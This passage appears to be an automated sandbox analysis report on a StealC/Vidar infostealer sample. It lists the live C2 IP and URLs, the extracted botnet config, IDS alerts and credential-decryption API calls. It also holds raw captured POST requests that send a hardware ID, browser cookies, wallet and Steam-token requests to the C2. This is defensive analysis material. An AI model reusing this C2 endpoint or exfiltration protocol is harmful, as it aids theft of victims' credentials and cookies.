Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.5e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.5e0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/mozglue.dllA	Virustotal: Detection: 17%			Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dllX	Virustotal: Detection: 16%			Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_005E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_005EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_005E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_005E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_005F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 36 35 37 39 34 35 41 46 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="hwid"F3657945AFA6894617998------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="build"doma------DBAEGCGCGIEGDHIDHJJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="message"browsers------HDGHJEBFBFHIIECAECGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="message"plugins------HIEBAKEHDHCAKEBFBKEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="message"fplugins------DBAEGCGCGIEGDHIDHJJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.37Content-Length: 6627Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAKHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file"------GHJEHJJDAAAKEBGCFCAA--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"wallets------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBAHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 2d 2d 0d 0a Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="message"files------KFBFCAFCBKFIEBFHIDBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHCGCAEBFIJKFIDBGHDHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 2d 2d 0d 0a Data Ascii: ------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="file"------BGHCGCAEBFIJKFIDBGHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; 